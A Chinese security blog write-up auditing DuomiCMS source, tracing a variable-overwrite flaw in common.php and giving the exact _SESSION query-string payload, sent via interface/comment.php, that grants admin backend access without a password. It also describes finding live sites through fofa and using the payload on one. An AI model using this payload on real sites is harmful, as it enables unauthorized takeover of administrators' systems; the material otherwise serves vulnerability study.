Duomicms的变量覆盖漏洞从白盒测试到实战

本地代码走查

本次白盒代码测试的cms是DuomiCms,这次使用Seay工具进行代码审查,下载DuomiCms源码,然后工具加载。

image-20220417165441252

先全局搜索危险函数,依次排查;

extract();//把数组编程变量
parser_str();//把字符串变成变量
$$; //可变变量,将变量的值读出来然后再赋值为变量

在函数定位后,在文件中依次寻找有通用性的文件后缀内容,如下所示;

//此类后缀的文件一般是函数库
common.func
.func.
.class.
.inc.

发现符合条件的文件为/duomiphp/common.php.

<?php
error_reporting(0);
if(is_file($_SERVER['DOCUMENT_ROOT'].'/duomiphp/webscan.php')){
    require_once($_SERVER['DOCUMENT_ROOT'].'/duomiphp/webscan.php');
}
define('duomi_INC', preg_replace("|[/\\\]{1,}|",'/',dirname(__FILE__) ) );
define('duomi_ROOT', preg_replace("|[/\\\]{1,}|",'/',substr(duomi_INC,0,-8) ) );
define('duomi_DATA', duomi_ROOT.'/data');
if(PHP_VERSION < '4.1.0') {
	$_GET = &$HTTP_GET_VARS;
	$_POST = &$HTTP_POST_VARS;
	$_COOKIE = &$HTTP_COOKIE_VARS;
	$_SERVER = &$HTTP_SERVER_VARS;
	$_ENV = &$HTTP_ENV_VARS;
	$_FILES = &$HTTP_POST_FILES;
}
$starttime = microtime();
require_once(duomi_INC.'/common.func.php');
//检查和注册外部提交的变量
foreach($_REQUEST as $_k=>$_v)
{
	if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) )
	{
		exit('Request var not allow!');
	}
}

function _RunMagicQuotes(&$svar)
{
	if(!get_magic_quotes_gpc())
	{
		if( is_array($svar) )
		{
			foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
		}
		else
		{
			$svar = addslashes($svar);
		}
	}
	return $svar;
}

foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
	foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}

进一步定位其中的危险函数如下,可以通过该方式来通过传参来造出变量!(当然造传参的时候注意规避上面的几个if条件,不要跳进去),因此我的思路是能不能找到session对应的文件,然后模拟admin的session进行传参实现登陆呢?因此下载duomiCMS本地实现下。

foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
	foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}

本地搭建CMS,访问后台页面,发现登陆成功是通过admin/login.php文件实现的。

image-20220417181716318

访问admin/login.php文件进行白盒走查。

<?php

require_once(dirname(__FILE__).'/../duomiphp/common.php');
require_once(duomi_INC."/check.admin.php");
if(empty($dopost))
{
	$dopost = '';
}
//检测安装目录安全性
if( is_dir(dirname(__FILE__).'/../install') )
{
	if(!file_exists(dirname(__FILE__).'/../install/install_lock.txt') )
	{
  	$fp = fopen(dirname(__FILE__).'/../install/install_lock.txt', 'w') or die('安装目录无写入权限,无法进行写入锁定文件,请安装完毕删除安装目录!');
  	fwrite($fp,'ok');
  	fclose($fp);
	}
	//为了防止未知安全性问题,强制禁用安装程序的文件
	if( file_exists("../install/index.php") ) {
		@rename("../install/index.php", "../install/index.php.bak");
	}
}
//检测后台目录是否更名
$cururl = GetCurUrl();
if(m_eregi('/admin/login',$cururl))
{
	$redmsg = '<div style="color:#ff0000;font-size:14px;background:#fff;padding:5px 0">后台默认路径/admin建议及时修改,修改后会更安全!</div>';
}
else
{
	$redmsg = '';
}

//登录检测
$admindirs = explode('/',str_replace("\\",'/',dirname(__FILE__)));
$admindir = $admindirs[count($admindirs)-1];
if($dopost=='login')
{
	$validate = empty($validate) ? '' : strtolower(trim($validate));
	$svali = strtolower(GetCkVdValue());
	if($validate=='' || $validate != $svali)
	{
		ResetVdValue();
		ShowMsg('验证码不正确!','-1');
		exit();
	}
	else
	{
		$cuserLogin = new userLogin($admindir);
		if(!empty($userid) && !empty($pwd))
		{
			$res = $cuserLogin->checkUser($userid,$pwd);

			//success
			if($res==1)
			{
				$cuserLogin->keepUser();
				if(!empty($gotopage))
				{
					ShowMsg('成功登录,正在转向管理管理主页!',$gotopage);
					exit();
				}
				else
				{
					ShowMsg('成功登录,正在转向管理管理主页!',"index.php");
					exit();
				}
			}

			//error
			else if($res==-1)
			{
				ShowMsg('你的用户名不存在!','-1');
				exit();
			}
			else
			{
				ShowMsg('你的密码错误!','-1');
				exit();
			}
		}

		//password empty
		else
		{
			ShowMsg('用户和密码没填写完整!','-1');
				exit();
		}
	}
}
include('html/login.htm');
?>

其中这段比较敏感,因为会求情一个叫keepUser()的函数,因此进一步定位该函数;

$cuserLogin->keepUser();
				if(!empty($gotopage))
				{
					ShowMsg('成功登录,正在转向管理管理主页!',$gotopage);
					exit();
				}
				else
				{
					ShowMsg('成功登录,正在转向管理管理主页!',"index.php");
					exit();
				}

进入/duomiphp/check.admin.php,定位该函数,发现后端是通过前端传入的session,分别取对应的参数分别作为userID,groupid和userName写入后台叫admincachefile的文件中。

//保持用户的会话状态
	//成功返回 1 ,失败返回 -1
	function keepUser()
	{
		if($this->userID!=""&&$this->groupid!="")
		{
			global $admincachefile;

			$_SESSION[$this->keepUserIDTag] = $this->userID;
			$_SESSION[$this->keepgroupidTag] = $this->groupid;
			$_SESSION[$this->keepUserNameTag] = $this->userName;

			$fp = fopen($admincachefile,'w');
			fwrite($fp,'<'.'?php $admin_path ='." '{$this->adminDir}'; ?".'>');
			fclose($fp);
			return 1;
		}
		else
		{
			return -1;
		}
	}

那我这样就取巧一下,通过登陆的时候,页面直接先返回对应的session,因此在登录的代码中插桩,路径在/admin/login.php

image-20220417200957206

测试登录后,果然返回了我所需要的session值;

image-20220417200407501
array(5) { 
    ["duomi_ckstr"]=> string(4) "kwye" 
    ["duomi_ckstr_last"]=> string(0) "" 
    ["duomi_admin_id"]=> string(1) "1" 
    ["duomi_group_id"]=> string(1) "1" 
    ["duomi_admin_name"]=> string(5) "admin" 
} 

那我现在的思路就是在线上渗透的时候,我把该session上传来完成登录。由于完成该方案是需要页面中有session_start()函数在代码最上方执行,因此项目中搜索定位,/interface/comment.php文件满足要求;

<?php
session_start();
require_once("../duomiphp/common.php");
require_once(duomi_INC.'/core.class.php');


AjaxHead();
header('Content-Type:text/html;charset=UTF-8');
if($cfg_gbookstart=='0'){
echo '对不起,评论暂时关闭';
exit();
}
$itype=$type;
$itype=is_numeric($itype)?$itype:0;
if(!isset($action))
{
	$action = '';
}
$ischeck = $cfg_feedbackcheck=='Y' ? 0 : 1;
$id = $_REQUEST['id'];
$id = (isset($id) && is_numeric($id)) ? $id : 0;
$page=empty($page) ? 1 : intval($page);
if($page==0) $page=1;
if(empty($id))
{
	echo "err";
	exit();
}
?>

<iframe id="parentframe" width="100%" frameborder="0" scrolling="no" src="/<?php echo $GLOBALS['cfg_cmspath']; ?>interface/comment/comment.html?id=<?php echo $id?>&type=<?php echo $itype?>&iscaptcha=<?php echo $GLOBALS['cfg_feedback_ck']; ?>&islogin=<?php echo (!empty($_SESSION['duomi_user_auth'])?1:0) ;?>&title=" marginheight="0" marginwidth="0" name="comment" style="height:auto"></iframe>

其中还包含文件require_once(“../duomiphp/common.php”);因此可以进行传参,将session传进去。

_SESSION[duomi_ckstr]=kwye& 
_SESSION[duomi_ckstr_last]=&
_SESSION[duomi_admin_id]=1&
_SESSION[duomi_group_id]=1&
_SESSION[duomi_admin_name]=admin

然后作为传参拼接在触发路径后进行访问:

image-20220417203511508

然后再次访问后台主页,发现不需要登陆就能进入后台(因为在后台塞进session的时候,php框架会自动给浏览器塞入对应的cookie,从而不需要密码也能登陆),本地渗透测试成功,接下来进行线上复现。

image-20220417203605035

线上渗透

通过fofa搜索对应版本的duomicms,找到测试目标站点;

image-20220417204732655

在域名后拼接一样的session值访问,一把梭;

image-20220417205016695

发现无需密码,直接进入后台,线上渗透成功。

总结

image-20220417205857982

声明

本次实践是在合法授权情况下进行,数据已经全部加密,主要是提供思路交流学习,请勿用于任何非法活动,否则后果自负。

本文作者:黑羽, 转载请注明来自FreeBuf.COM

© 版权声明
THE END
喜欢就支持一下吧
点赞8赏点小钱 分享